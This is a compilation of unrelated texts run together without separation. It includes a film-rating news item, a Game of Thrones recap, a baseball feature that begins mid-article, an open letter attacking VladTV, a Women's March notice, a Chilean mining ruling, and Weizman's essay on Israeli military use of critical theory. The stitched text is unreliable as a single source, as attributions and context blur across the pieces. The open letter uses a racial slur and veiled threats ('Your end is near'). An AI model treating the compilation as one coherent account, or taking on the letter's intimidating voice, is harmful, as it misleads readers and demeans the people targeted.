The group's Classification and Ratings Appeals Board on Wednesday denied the studio's appeal of an R rating for its new Nancy Meyers romantic comedy "It's Complicated," throwing a potential marketing hurdle in the film's path.
The MPAA's ruling cited "some drug content and sexuality" for the film about a love triangle among upper-middle-class suburbanites. Those familiar with the board hearing said the inclusion of a scene featuring "pot-smoking with no bad consequences" was key to the decision.
The comedy, set to be released Christmas Day, features a comic scene in which characters played by Steve Martin and Meryl Streep smoke pot for the first time in several decades. The studio has decided not to cut the scene -- it is, incidentally, one of Martin's few showcase scenes -- and will release the film with an R rating.
Universal declined to comment.
The rating is unlikely to directly impact the demo expected to turn out for the movie. "It's Complicated" is aimed at an older female audience, and even teenagers who might see it are likely to go with someone older and not with packs of friends. It isn't "Twilight."
But the rating could signal to some filmgoers that the movie's content is mature, which could in turn deter them from seeing the film. (In some cases, particularly with films aimed at a younger male demo, an R rating can actually be used to a movie's marketing advantage, but this isn't one of them.)
The decision mattered enough to Universal to appeal the decision, with studio chief Adam Fogelson traveling to the board hearing on the West Coast and Martin conferenced in via webcam from New York, where the movie was set to hold a premiere Wednesday night.
The decision also lands in the cross hairs of a larger debate over marijuana, with authorities in California cracking down on marijuana growers and medical dispensaries.
Meyers' comedies, which usually include middle-aged female characters and tend to skew older, have never garnered an R before.
The fate of "It's Complicated" is key for Universal, which with just a few exceptions has endured a string of box-office disappointments this year. Meyers has the track record to offer executives hope of a breakout: Her last film, the Jack Nicholson-Diane Keaton romantic comedy "Something's Gotta Give," earned $228 million worldwide.
-- Steven Zeitchik
It seems wholly possible, then, to admire their bravery while questioning their sanity. There are times, such as last week, when the attempt to unite the sprawling, digressive story of Game of Thrones in a way that still maintains a modicum of forward momentum seems more impossible than stitching together the sundered Seven Kingdoms. In these overwhelming moments, I imagine the duo’s agents taking them out to lunch at the Ivy — or the Croatian version of the Ivy — and, over salads with dressing on the side, cheerfully spinning a version of the Kingslayer’s mantra: “Fighting bravely for a losing cause is admirable. Fighting for a winning cause is far more rewarding.” And then they hand them a blank check and a copy of the first draft of Goldilocks: Bear Hunter.
But then there are weeks like this one. “Walk of Punishment,” like all installments of Game of Thrones, juggled plots as deftly as a court jester and managed the whereabouts of more human beings than Littlefinger during Fleet Week. Stories were advanced in confetti-like shreds, and characters were introduced by the boatload. But the episode also carried with it a spark of wit and a whisper of thematic development. This was Game of Thrones as I like it best: plot-heavy but light on its feet, dancing confidently across the map to a beat only its makers (and, apparently, the Hold Steady) are able to hear.
I can’t help but wonder if this added rhythmic jolt was the result of having one of the men responsible for writing the packed, ambitious scripts set up behind the camera for the first time. David Benioff, who makes people talk for a living, chose to open his directorial debut with two striking set pieces that said volumes with total silence. The first was the funeral of Catelyn Stark’s father, Hoster Tully. As the late Lord of Riverrun floated toward his final resting place, his only son, Edmure, makes a great show of murdering some trout with a series of flaming arrows. The problem is that he’s meant to be igniting his father’s corpse, not showing Aquaman who’s boss. Thankfully his bachelor uncle, Blackfish, steps in and gets the job done with a single stroke. I love it when Game of Thrones demonstrates the ridiculous fallibility lurking behind all the medieval pomp and circumstance; how all heirs to anything are really just show-offy boys putting on airs. At least until a battlefield forces them either to grow up or bow down to someone else.
(As for keeping track of all these new lords and ladies, well, I can’t lie and pretend it comes naturally. The only reason I know that Blackfish is actually Brynden of House Tully — and not related to Onefish or Twofish from House Seuss — is due to a necessary assist from Grand Maester Wikipedia.)
The second silent scene was at King’s Landing. “A eunuch, a dwarf, a whoremonger, and an impossibly old man walk into a meeting” is both the start of the dirtiest joke in Westerosi history and the literal events of the first post-Blackwater meeting of the Small Council. In a world where nearly everything of substance is communicated by subtweet, Benioff wisely let some uncomfortable body language, a few raised eyebrows, and a nontraditional seating arrangement tell the whole story. So much of this show is theatrical; it was nice to see it be made explicit by letting a humorous moment breathe. I was also happy to see Cersei finally break the iron ceiling and take her rightful place at the table, although it’s hardly a victory for equality in the workplace that she wasn’t allowed to say anything. The bigger twist fell to Tyrion, who seems to have dusted off his ego quite nicely since his father stomped on it back in the premiere. Now the Imp’s got his swagger back, appraising wooden tables with the wry vigor of a weekend antiquer after a few Bloody Marys back at the B&B. His reward? Littlefinger’s old job as the royal treasurer. While a sudden detour into monetary policy sounds about as fun as running errands with Melisandre — “Off to make the sacrifices the Lord of Light demands … and also to pick up some hot dog buns. Be back soon!” — it’s worth remembering that Tyrion’s unique perspective allows him to see opportunity where others see only boredom. Take it from the charred remains of Stannis’s soldiers: Tyrion is always best when he’s underestimated. That’s probably why he’s so taken by Podrick, a humble squire whose unimpressive scabbard, we’re led to believe, somehow conceals a truly remarkable sword.
The episode was also improved by the presence of Daenerys. Her peregrinations tend to be both the most deliberate and most removed from the main plot, but I enjoy her slow-burning arc because it’s the rare chance to see a story speed bump forming years before the apple cart of the overall narrative reaches it, let alone finds itself tipped over. The maturation of the Mother of Dragons and her scaly sons is a Game of Thrones digression I’ll always have time for because it’s the type of story other long-running dramas are never able to manufacture; it’d be like Mags Bennett haunting the periphery of Justified’s first year, or the guy in the Members Only jacket sitting quietly in the background throughout all seven seasons of The Sopranos. (Interestingly, Lost actually did pull this off, but only retroactively, unless you believe J.J. Abrams intended for a puff of black smoke to look like Titus Welliver from jump.)
Dany’s quest is even more entertaining now that she’s formed a Small Council of her own, with Sers Jorah and Barristan as her entertainingly snippy Boy Fridays. (Out of all of Martin’s fantastical imaginings, I have to think the idea of two old men forced to keep their mouths shut while taking a much younger blonde shopping was the easiest for Benioff and Weiss to wrap their heads around. After all, they live in Los Angeles.) But are we really to believe that Daenerys was willing to swap one-third of her flame-throwing lizard inventory for 8,000 suicidal slave soldiers? Do dragons accept new masters more easily than poodles? The only person happier about this proposed deal than the Great Goatee of Astapor was the dude responsible for Game of Thrones’ CGI budget. And I have a feeling both will soon be disappointed, if not flambeéd.
The other great looming threat also took a step forward. After discovering an ice garden of decapitated horses’ heads — a.k.a. Jack Woltz’s worst nightmare — Mance Rayder tells his men to saddle up for war. I like Mance because he has a good sense for people. Not only can he correctly guess the state of the Night’s Watch — currently shivering and swallowing their ego along with sub-porcine gruel at Craster’s creepy cult farm — he even knows just when to hug his best lieutenants. This might be minor, but it feels important. Especially because hugging is more or less verboten south of the Wall. Just look at poor Hot Pie: He bakes Arya a giant, steaming Breadwolf — they were great at Coachella this weekend, by the way — and doesn’t even get so much as a pat on the head or a rub on the tummy in return. Doesn’t anybody realize the best way to combat the chill of approaching winter is through the warmth of human kindness? The problem with these Westerosi is that they only cry over each other when it’s too late, like Cat telling fish tales by the window while her sons incept each other miles away. Even Talisa, supposedly a kindly sort, takes a moment to scare a couple of adolescents with werewolf stories while changing their bandages. Unless she meant Robb turns into a different kind of monster after hours? In which case it’s even worse.
Theon remains completely uninteresting to me, as his arc seems to mostly be about re-enacting cultural tableaux from the ’90s. (Last week was Wolverine; this week, it was the “Losing My Religion” video.) But his aborted escape did prove Jaime Lannister wrong: It seems that in the Seven Kingdoms, men are just as likely to be raped in captivity as women. Luckily for Theon, he has a few lucky arrows still in his quiver — he’s rescued by the same anonymous archer who untied him the first time. It’s awfully nice of this kid, whoever he is, but here’s a pro tip: Next time you want a whiny guy with a hole in his foot to escape unnoticed, maybe you don’t choose the white horse? In sooty Westeros, it’s the equivalent of choosing a hot pink DeLorean as a getaway car.
The more time we spend with Jaime Lannister — and that’s two episodes in a row that he’s stolen like a loaf of bread during a siege — the more it’s clear that the only thing that separates him from his little brother is height. Both men use their humor like chain mail, not to deny the horrors of the larger world, but because they’re all too familiar with them. Like Tyrion, Jaime also has an intimate awareness of his own sins and flaws — and every decision he makes stems from that rough self-knowledge. As the series has gone on, we’ve learned that his cruelty is both selective and defensive: He didn’t give Bran Stark an impromptu lesson in parkour because he hated the kid; it was because he needed to protect himself and his family’s awful shame. So it makes sense that Jaime would use his silver tongue to plant visions of gold in Locke’s head, thus saving proud Brienne’s life and her dignity. At first, I thought the notion of her simply lying back and thinking of England — or even Renly — was preposterous, of course. Would Jaime have given the same advice to Theon? But the more I thought about it, the more I realized he probably would have. As a battle-scarred knight, Jaime knows what Jorah does: “There’s a beast in every man, and it stirs when you put a sword in his hand.” He also knows that there’s no such thing as dying nobly. It’s just called dying.
So I wonder: Was Jaime actually surprised when it was he who was butchered, not the spare partridge on the fire? He wasn’t kidding when he said he’s no longer as “young and resilient” as he once was. Ever since he was first captured by Robb Stark, he’s had the freewheeling, fatalistic air of a terminally ill gambler in Vegas. So what if he can’t cover the bets he’s making? There’s a bigger reckoning just around the corner. And at episode’s end, in a grimy wood halfway between hell and nowhere, Jaime’s bill finally comes due. It turns out there’s no wit sharper than an actual blade, and Jaime’s days as a feared warrior are likely done. The hand of the Kingslayer is not a much coveted position in Westeros. Nevertheless, the job is now decidedly vacant.
As a side effect, McCarthy is throwing harder than he ever has. He consistently reached 94 mph with his moving fastball in his first two starts, and while the other numbers have yet to fall into place, he believes he is stronger and better equipped to hit his goal of 200 innings this season, which would be a career high. The D-backs’ rotation could use that, especially with Patrick Corbin out for the year.
"To actually get to stay out there for 200 innings would be fantastic. That’s the one I really want more than anything," said McCarthy, whose previous high was 170 2/3 innings with Oakland in 2011.
"If you can there, you’ve hit that level of being a durable pitcher. Like Bronson (Arroyo). It would be a huge point of pride for me to get there. If I have gotten there, that means I have joined the rest of the ranks of big league starting pitchers of guys you can rely on through October. That’s the one number I have in mind."
In an attempt to get there, McCarthy took a somewhat unusual path this winter. He enlisted the help of Sam Mulroy, a neighbor and personal trainer who operates a gym in suburban Dallas, where McCarthy makes his home. The two designed a program that went beyond traditional pitcher workouts to one that included much more heavy lifting, with free weights a staple. McCarthy has spent parts of the last five years on the disabled list because of inflammation or shoulder strains.
"In the past, I’d work out in different workout facilities that trained athletes, and I realized that wasn’t specialized enough," McCarthy said. "I knew what I wanted to accomplish, I just needed someone to help guide me through it. The relationship worked out very well, where it was passing ideas back and forth. He definitely taught me how to get stronger, and we shoe-horned that in with getting baseball stronger."
McCarthy, whose next start will be Friday night, when the Diamondbacks return home to face the Los Angeles Dodgers, missed 10 weeks with shoulder inflammation last season, his first with the D-backs after signing as a free agent. He spent two successful if abbreviated years in Oakland, where he was 9-9 with a 3.32 ERA in 25 starts in 2011 and 8-6 with a 3.24 ERA in 18 starts in 2012. He missed the last month of that season after a line drive fractured his skull on Sept. 5.
McCarthy, 6-foot-7 and 200 pounds, always has thrown strikes. His ratio of 1.51 walks per nine innings is the second best in the majors since 2011, and D-backs manager Kirk Gibson said, "He is probably the best we have at repeating his delivery."
His body of work in Oakland shows the pitcher McCarthy can be but also underlines his frustration.
"Even when I have had good seasons, it sucks to miss a six-week to two-month span in the middle of it," McCarthy said. "It’s nice to know you contributed by playing well, but once you miss a middle chunk, it feels like you missed the full season."
Thus the new approach, which also includes what McCarthy calls an "extreme dedication to the proper diet, proper rest cycles, everything I can do to put the body in one strong, functional place. After the first couple of weeks of seeing differences, it sort of became addictive."
Perhaps no one was as happy to see the start of the regular season as McCarthy’s wife, Amanda, who arose early in spring training to make breakfast and supervise his diet, which now includes much less sugar.
"I’ve tried a lot of different things, and all of it has been trying to strengthen things in different ways," McCarthy said of his newest conditioning program "I don’t have physical injuries. It always manifests itself as a buildup of fatigue and things breaking down. Knowing that I can get through the middle of the season fine and the end of the season fine, it doesn’t make sense that that middle portion was . . . So this is a way of trying to build strength and hope it lasts longer."
While the early results haven’t shown it (0-2, 7.84 ERA in two starts), there’s reason to feel encouraged. McCarthy has put on about 15 pounds from the end of last season, some as the body naturally replenished after a grueling season, but some in places he had not seen before. The clothes fit a little tighter, the ball moves a little faster. His sinking two-seam fastball and his curve, the two pitches he will rely most heavily on this season, are 2 mph faster this season than in previous years, according to FanGraphs.
"This is definitely the hardest I’ve ever thrown," McCarthy said. "It wasn’t really something I was expecting. I thought I would be stronger and hopefully more durable. Velocity is a nice added bonus. If it stays, great. There are more things I can do with that. I feel stronger. Anyway that shows up, I’ll take it."
You disrespectful culture vulture. I offered you to talk to my family, (Bankroll Fresh’s family) when my nephew was first killed. Did you call us or reached out to the Street Money Worldwide family or his father and mother to get a rebuttal to No Plug’s story? None of that!
When I asked you to interview Bankroll PJ and how he was continuing the legacy, you had a subordinate call me to tell me, you’re passing on PJ. He had just released a new single out plus he’s starring in a new FX TV show (Atlanta) this fall with Childish Gambino but no that was too positive, huh? Not enough black on black crime?
But you gave this coward a forum and put this hating coon on your platform like it was some light humored story. Sitting there smiling and talking about how he love my family. Where was the remorse with all that chuckling? And then the story he was telling you were straight bullsh-t with more holes in it than the police’s reasons for killing Alton Sterling. You’re an poor excuse for an journalist, if we can even call you one. And while the whole black community were coming together to protest “cops killing black men”, you drop this one sided interview of an open investigation for an unsolved murder of Bankroll Fresh. Was that strategic Vlad? You wanted to show more black on black violence on the same day? All you do is take from our community!
My nephew is dead and you’re having a light humored conversation with an alleged killer like it’s just another interview with Taxstone or Charlamagne. What’s funny? This sh-t ain’t funny!!! Even as a responsible journalist or the leader of urban news as you claim, you should have had the rebuttal interview with our family and/or other people who was there. Then you let him talked without confirming anything beforehand? Did you talk to the D.A.’s office or the APD Homicide? Even if no charges was brought, it doesn’t explained the real truth on why he was at the studio in the first place! It’s only his side of the story! Where’s the other sides??? Where’s the TRUTH???
No other man of another color or race should have that much power over the narrative of what happens in black communities. Our stories, our lives and even our music and don’t even give back at all. And then you get slick every now and then and subliminally try to drop other vultures like Slim Jesus in our psyche to see if you can get away with it. You’re really a pornographer that found a better hustle: “pimping black culture”. I know you. I worked for you. You don’t give back to our community! How much of that 50K a month, do you donate to the black community. Ad agencies use your site to pimp everything from fried chicken to Coca Cola and pay you well. Words from your own mouth! Cavario from Don Diva warned me about you back then. Eben Gregory from Ebengregory.com warned me about you.
You’re worst than Harvey Levin over at TMZ but most of you cats who make money from black people stick together. Y’all always trying to get money out the hood, one way or another. Corner store or a rap label, covering urban culture or making black movies for black people. But you don’t give a damn about us, you’re worst than the police because you’re killing us slowly with the crap you feed our youth everyday. Just so you can get traffic and views because that’s the new “guns & butter”, advertising dollars for unique visitors. You think we’re stupid.
Since the Hip Hop Nation co signed you and every other idiot who want to be seen or want to remain relevant jumps in front of your camera on some “Steppin Fetchin” sh-t and take us back 50 years in morals and principle. The internet ain’t killing my people, you are with your VladTV. You’re irresponsible and you will be checked for it when the opportunity presents itself. Your end is near.
So are y’all finished or are y’all done??? You trying to destroy my nephew’s legacy after someone took his life? I’ll see you when I see you, clown. Let’s have some tea or break bread or something? But you will put some respect on Bankroll Fresh’s name. That’s a promise. Stay tuned for the real exclusive Bankroll Fresh news on Revolt, AllHipHop and WSHH among others, from my brother and Bankroll’s father, and COO, K­Rich, Street Money Boochie and Quick Trip from Street Money Worldwide. Shame on you, thief! There’s 3 sides to a story, there’s, our’s and the TRUTH!!! You should have done your job, crook! I’m still Nat Turner to you!!!!
Shadi Powers
VP Digital Marketing
The Women’s March in Park City, Utah, is one of over 350 sister marches planned across the United States and 20 countries around the world to demonstrate universal respect for social justice and human rights issues including race, ethnicity, gender, religion, immigration and health care. The #MarchOnMain is supported by Planned Parenthood Association of Utah, Justice Party, Summit County Democrats, Equality Now, Alliance For A Better Utah, Emily’s List, Sentry Financial and Impact Partners Film.
Led by Handler, the outspoken comedian will be joined by Aisha Tyler, Connie Britton, Mary McCormack, Benjamin Bratt, Jessica Williams, Maria Bello and more celebrities. Following the march, a rally will take place, featuring speeches from Handler and others. The entire event is expected to run from 9:00 – 11:00 a.m. MST.
Join Variety reporter Elizabeth Wagmeister at 9:00 a.m. MST as she chats with various people walking in the Women’s March at Sundance.
After the Women’s March and rally, make sure to follow Variety’s Twitter to see exclusive video interviews with Handler and more celebrities.
Chile's supreme court has halted the development of a gold and copper mine owned by the Canadian conglomerate, Goldcorp, until indigenous communities are consulted.
The court upheld an appeal filed on the El Morro mine by the Diaguita community in northern Chile.
The community said the mine, worth almost $4bn, could pollute a local river.
Several recent mining projects in Chile were blocked after local opposition.
In April, a lower court rejected the Diaguita's request to halt the project because, the community said, Goldcorp had not conducted proper consultations with local communities.
In an interview with Associated Press, a Diaguita leader, Maglene Campilley said after the Supreme Court ruling, "The Diaguita people are happy that justice is on the side of the humble, of those who defend Mother Earth, our water resources and our indigenous land."
A fresh consultation will now need to take place before an environmental permit can be awarded allowing mining to take place.
Goldcorp has had to suspend construction at the El Morro site twice, once in 2012 and then again in November of 2013.
A company spokesperson, Christine Marks said, "The company remained committed to open and transparent dialogue with its stakeholders and to responsible practices in accordance with the highest applicable health, safety and environmental standards."
Last year, Chile's environmental regulator blocked work on the massive Pascua-Lama gold mine run by Barrick Gold, straddling the Argentina-Chile border after Diaguita communities living in the foothills of the Andes downstream opposed it.
With nearly 6m tonnes mined each year, Chile is the world's chief copper producer but also has huge untapped gold reserves.
From Interactivist:"The Art of War:Deleuze, Guattari, Debord and the Israeli Defense Force"Eyal Weizman
The Israeli Defence Forces have been heavily influenced by contemporary philosophy, highlighting the fact that there is considerable overlap among theoretical texts deemed essential by military academies and architectural schools
The attack conducted by units of the Israeli Defence Forces (IDF) on the city of Nablus in April 2002 was described by its commander, Brigadier-General Aviv Kokhavi, as ‘inverse geometry’, which he explained as ‘the reorganization of the urban syntax by means of a series of micro-tactical actions’.[1]
During the battle soldiers moved within the city across hundreds of metres of ‘overground tunnels’ carved out through a dense and contiguous urban structure. Although several thousand soldiers and Palestinian guerrillas were manoeuvring simultaneously in the city, they were so ‘saturated’ into the urban fabric that very few would have been visible from the air. Furthermore, they used none of the city’s streets, roads, alleys or courtyards, or any of the external doors, internal stairwells and windows, but moved horizontally through walls and vertically through holes blasted in ceilings and floors. This form of movement, described by the military as ‘infestation’, seeks to redefine inside as outside, and domestic interiors as thoroughfares. The IDF’s strategy of ‘walking through walls’ involves a conception of the city as not just the site but also the very medium of warfare – a flexible, almost liquid medium that is forever contingent and in flux.
Contemporary military theorists are now busy re-conceptualizing the urban domain. At stake are the underlying concepts, assumptions and principles that determine military strategies and tactics. The vast intellectual field that geographer Stephen Graham has called an international ‘shadow world’ of military urban research institutes and training centres that have been established to rethink military operations in cities could be understood as somewhat similar to the international matrix of élite architectural academies. However, according to urban theorist Simon Marvin, the military-architectural ‘shadow world’ is currently generating more intense and well-funded urban research programmes than all these university programmes put together, and is certainly aware of the avant-garde urban research conducted in architectural institutions, especially as regards Third World and African cities. There is a considerable overlap among the theoretical texts considered essential by military academies and architectural schools. Indeed, the reading lists of contemporary military institutions include works from around 1968 (with a special emphasis on the writings of Gilles Deleuze, Félix Guattari and Guy Debord), as well as more contemporary writings on urbanism, psychology, cybernetics, post-colonial and post-Structuralist theory. If, as some writers claim, the space for criticality has withered away in late 20th-century capitalist culture, it seems now to have found a place to flourish in the military.
I conducted an interview with Kokhavi, commander of the Paratrooper Brigade, who at 42 is considered one of the most promising young officers of the IDF (and was the commander of the operation for the evacuation of settlements in the Gaza Strip).2 Like many career officers, he had taken time out from the military to earn a university degree; although he originally intended to study architecture, he ended up with a degree in philosophy from the Hebrew University. When he explained to me the principle that guided the battle in Nablus, what was interesting for me was not so much the description of the action itself as the way he conceived its articulation. He said: ‘this space that you look at, this room that you look at, is nothing but your interpretation of it. […] The question is how do you interpret the alley? […] We interpreted the alley as a place forbidden to walk through and the door as a place forbidden to pass through, and the window as a place forbidden to look through, because a weapon awaits us in the alley, and a booby trap awaits us behind the doors. This is because the enemy interprets space in a traditional, classical manner, and I do not want to obey this interpretation and fall into his traps. […] I want to surprise him! This is the essence of war. I need to win […] This is why that we opted for the methodology of moving through walls. . . . Like a worm that eats its way forward, emerging at points and then disappearing. […] I said to my troops, “Friends! […] If until now you were used to move along roads and sidewalks, forget it! From now on we all walk through walls!”’[2]
Kokhavi’s intention in the battle was to enter the city in order to kill members of the Palestinian resistance and then get out. The horrific frankness of these objectives, as recounted to me by Shimon Naveh, Kokhavi’s instructor, is part of a general Israeli policy that seeks to disrupt Palestinian resistance on political as well as military levels through targeted assassinations from both air and ground.
If you still believe, as the IDF would like you to, that moving through walls is a relatively gentle form of warfare, the following description of the sequence of events might change your mind. To begin with, soldiers assemble behind the wall and then, using explosives, drills or hammers, they break a hole large enough to pass through. Stun grenades are then sometimes thrown, or a few random shots fired into what is usually a private living-room occupied by unsuspecting civilians. When the soldiers have passed through the wall, the occupants are locked inside one of the rooms, where they are made to remain – sometimes for several days – until the operation is concluded, often without water, toilet, food or medicine. Civilians in Palestine, as in Iraq, have experienced the unexpected penetration of war into the private domain of the home as the most profound form of trauma and humiliation. A Palestinian woman identified only as Aisha, interviewed by a journalist for the Palestine Monitor, described the experience: ‘Imagine it – you’re sitting in your living-room, which you know so well; this is the room where the family watches television together after the evening meal, and suddenly that wall disappears with a deafening roar, the room fills with dust and debris, and through the wall pours one soldier after the other, screaming orders. You have no idea if they’re after you, if they’ve come to take over your home, or if your house just lies on their route to somewhere else. The children are screaming, panicking. Is it possible to even begin to imagine the horror experienced by a five-year-old child as four, six, eight, 12 soldiers, their faces painted black, sub-machine-guns pointed everywhere, antennas protruding from their backpacks, making them look like giant alien bugs, blast their way through that wall?’[3]
Naveh, a retired Brigadier-General, directs the Operational Theory Research Institute, which trains staff officers from the IDF and other militaries in ‘operational theory’ – defined in military jargon as somewhere between strategy and tactics. He summed up the mission of his institute, which was founded in 1996: ‘We are like the Jesuit Order. We attempt to teach and train soldiers to think. […] We read Christopher Alexander, can you imagine?; we read John Forester, and other architects. We are reading Gregory Bateson; we are reading Clifford Geertz. Not myself, but our soldiers, our generals are reflecting on these kinds of materials. We have established a school and developed a curriculum that trains “operational architects”.’[4] In a lecture Naveh showed a diagram resembling a ‘square of opposition’ that plots a set of logical relationships between certain propositions referring to military and guerrilla operations. Labelled with phrases such as ‘Difference and Repetition – The Dialectics of Structuring and Structure’, ‘Formless Rival Entities’, ‘Fractal Manoeuvre’, ‘Velocity vs. Rhythms’, ‘The Wahabi War Machine’, ‘Postmodern Anarchists’ and ‘Nomadic Terrorists’, they often reference the work of Deleuze and Guattari. War machines, according to the philosophers, are polymorphous; diffuse organizations characterized by their capacity for metamorphosis, made up of small groups that split up or merge with one another, depending on contingency and circumstances. (Deleuze and Guattari were aware that the state can willingly transform itself into a war machine. Similarly, in their discussion of ‘smooth space’ it is implied that this conception may lead to domination.)
I asked Naveh why Deleuze and Guattari were so popular with the Israeli military. He replied that ‘several of the concepts in A Thousand Plateaux became instrumental for us […] allowing us to explain contemporary situations in a way that we could not have otherwise. It problematized our own paradigms. Most important was the distinction they have pointed out between the concepts of “smooth” and “striated” space [which accordingly reflect] the organizational concepts of the “war machine” and the “state apparatus”. In the IDF we now often use the term “to smooth out space” when we want to refer to operation in a space as if it had no borders. […] Palestinian areas could indeed be thought of as “striated” in the sense that they are enclosed by fences, walls, ditches, roads blocks and so on.’[5] When I asked him if moving through walls was part of it, he explained that, ‘In Nablus the IDF understood urban fighting as a spatial problem. [...] Travelling through walls is a simple mechanical solution that connects theory and practice.’[6]
To understand the IDF’s tactics for moving through Palestinian urban spaces, it is necessary to understand how they interpret the by now familiar principle of ‘swarming’ – a term that has been a buzzword in military theory since the start of the US post cold War doctrine known as the Revolution in Military Affairs. The swarm manoeuvre was in fact adapted, from the Artificial Intelligence principle of swarm intelligence, which assumes that problem-solving capacities are found in the interaction and communication of relatively unsophisticated agents (ants, birds, bees, soldiers) with little or no centralized control. The swarm exemplifies the principle of non-linearity apparent in spatial, organizational and temporal terms. The traditional manoeuvre paradigm, characterized by the simplified geometry of Euclidean order, is transformed, according to the military, into a complex fractal-like geometry. The narrative of the battle plan is replaced by what the military, using a Foucaultian term, calls the ‘toolbox approach’, according to which units receive the tools they need to deal with several given situations and scenarios but cannot predict the order in which these events would actually occur.[7] Naveh: ‘Operative and tactical commanders depend on one another and learn the problems through constructing the battle narrative; […] action becomes knowledge, and knowledge becomes action. […] Without a decisive result possible, the main benefit of operation is the very improvement of the system as a system.’[8]
This may explain the fascination of the military with the spatial and organizational models and modes of operation advanced by theorists such as Deleuze and Guattari. Indeed, as far as the military is concerned, urban warfare is the ultimate Postmodern form of conflict. Belief in a logically structured and single-track battle-plan is lost in the face of the complexity and ambiguity of the urban reality. Civilians become combatants, and combatants become civilians. Identity can be changed as quickly as gender can be feigned: the transformation of women into fighting men can occur at the speed that it takes an undercover ‘Arabized’ Israeli soldier or a camouflaged Palestinian fighter to pull a machine-gun out from under a dress. For a Palestinian fighter caught up in this battle, Israelis seem ‘to be everywhere: behind, on the sides, on the right and on the left. How can you fight that way?’[9]
Critical theory has become crucial for Nave’s teaching and training. He explained: ‘we employ critical theory primarily in order to critique the military institution itself – its fixed and heavy conceptual foundations. Theory is important for us in order to articulate the gap between the existing paradigm and where we want to go. Without theory we could not make sense of the different events that happen around us and that would otherwise seem disconnected. […] At present the Institute has a tremendous impact on the military; [it has] become a subversive node within it. By training several high-ranking officers we filled the system [IDF] with subversive agents […] who ask questions; […] some of the top brass are not embarrassed to talk about Deleuze or [Bernard] Tschumi.’[10] I asked him, ‘Why Tschumi?’ He replied: ‘The idea of disjunction embodied in Tschumi’s book Architecture and Disjunction (1994) became relevant for us […] Tschumi had another approach to epistemology; he wanted to break with single-perspective knowledge and centralized thinking. He saw the world through a variety of different social practices, from a constantly shifting point of view. [Tschumi] created a new grammar; he formed the ideas that compose our thinking.[11] I then asked him, why not Derrida and Deconstruction? He answered, ‘Derrida may be a little too opaque for our crowd. We share more with architects; we combine theory and practice. We can read, but we know as well how to build and destroy, and sometimes kill.’[12]
In addition to these theoretical positions, Naveh references such canonical elements of urban theory as the Situationist practices of dérive (a method of drifting through a city based on what the Situationists referred to as ‘psycho-geography’) and détournement (the adaptation of abandoned buildings for purposes other than those they were designed to perform). These ideas were, of course, conceived by Guy Debord and other members of the Situationist International to challenge the built hierarchy of the capitalist city and break down distinctions between private and public, inside and outside, use and function, replacing private space with a ‘borderless’ public surface. References to the work of Georges Bataille, either directly or as cited in the writings of Tschumi, also speak of a desire to attack architecture and to dismantle the rigid rationalism of a postwar order, to escape ‘the architectural strait-jacket’ and to liberate repressed human desires.
In no uncertain terms, education in the humanities – often believed to be the most powerful weapon against imperialism – is being appropriated as a powerful vehicle for imperialism. The military’s use of theory is, of course, nothing new – a long line extends all the way from Marcus Aurelius to General Patton.
Future military attacks on urban terrain will increasingly be dedicated to the use of technologies developed for the purpose of ‘un-walling the wall’, to borrow a term from Gordon Matta-Clark. This is the new soldier/architect’s response to the logic of ‘smart bombs’. The latter have paradoxically resulted in higher numbers of civilian casualties simply because the illusion of precision gives the military-political complex the necessary justification to use explosives in civilian environments.
Here another use of theory as the ultimate ‘smart weapon’ becomes apparent. The military’s seductive use of theoretical and technological discourse seeks to portray war as remote, quick and intellectual, exciting – and even economically viable. Violence can thus be projected as tolerable and the public encouraged to support it. As such, the development and dissemination of new military technologies promote the fiction being projected into the public domain that a military solution is possible – in situations where it is at best very doubtful.
Although you do not need Deleuze to attack Nablus, theory helped the military reorganize by providing a new language in which to speak to itself and others. A ‘smart weapon’ theory has both a practical and a discursive function in redefining urban warfare. The practical or tactical function, the extent to which Deleuzian theory influences military tactics and manoeuvres, raises questions about the relation between theory and practice. Theory obviously has the power to stimulate new sensibilities, but it may also help to explain, develop or even justify ideas that emerged independently within disparate fields of knowledge and with quite different ethical bases. In discursive terms, war – if it is not a total war of annihilation – constitutes a form of discourse between enemies. Every military action is meant to communicate something to the enemy. Talk of ‘swarming’, ‘targeted killings’ and ‘smart destruction’ help the military communicate to its enemies that it has the capacity to effect far greater destruction. Raids can thus be projected as the more moderate alternative to the devastating capacity that the military actually possesses and will unleash if the enemy exceeds the ‘acceptable’ level of violence or breaches some unspoken agreement. In terms of military operational theory it is essential never to use one’s full destructive capacity but rather to maintain the potential to escalate the level of atrocity. Otherwise threats become meaningless.
When the military talks theory to itself, it seems to be about changing its organizational structure and hierarchies. When it invokes theory in communications with the public – in lectures, broadcasts and publications – it seems to be about projecting an image of a civilized and sophisticated military. And when the military ‘talks’ (as every military does) to the enemy, theory could be understood as a particularly intimidating weapon of ‘shock and awe’, the message being: ‘You will never even understand that which kills you.’
Notes
[1] Quoted in Hannan Greenberg, ‘The Limited Conflict: This Is How You Trick Terrorists’, in Yediot Aharonot; www.ynet.co.il (23 March 2004)
[2] Eyal Weizman interviewed Aviv Kokhavi on 24 September at an Israeli military base near Tel Aviv. Translation from Hebrew by the author; video documentation by Nadav Harel and Zohar Kaniel
[3] Sune Segal, ‘What Lies Beneath: Excerpts from an Invasion’, Palestine Monitor, November, 2002; www.palestinemonitor.org/eyewitness/Westbank/what_... 9 June, 2005
[4] Shimon Naveh, discussion following the talk ‘Dicta Clausewitz: Fractal Manoeuvre: A Brief History of Future Warfare in Urban Environments’, delivered in conjunction with ‘States of Emergency: The Geography of Human Rights’, a debate organized by Eyal Weizman and Anselm Franke as part of ‘Territories Live’, B’tzalel Gallery, Tel Aviv, 5 November 2004
[5] Eyal Weizman, telephone interview with Shimon Naveh, 14 October 2005
[6] Ibid.
[7] Michel Foucault’s description of theory as a ‘toolbox’ was originally developed in conjunction with Deleuze in a 1972 discussion; see Gilles Deleuze and Michel Foucault, ‘Intellectuals and Power’, in Michel Foucault, Language, Counter-Memory, Practice: Selected Essays and Interviews, ed. and intro. Donald F. Bouchard, Cornell University Press, Ithaca, 1980, p. 206
[8] Weizman, interview with Naveh
[9] Quoted in Yagil Henkin, ‘The Best Way into Baghdad’, The New York Times, 3 April 2003
[10] Weizman, interview with Naveh
[11] Naveh is currently working on a Hebrew translation of Bernard Tschumi’s Architecture and Disjunction, MIT Press, Cambridge, Mass., 1997.
[12] Weizman, interview with Naveh
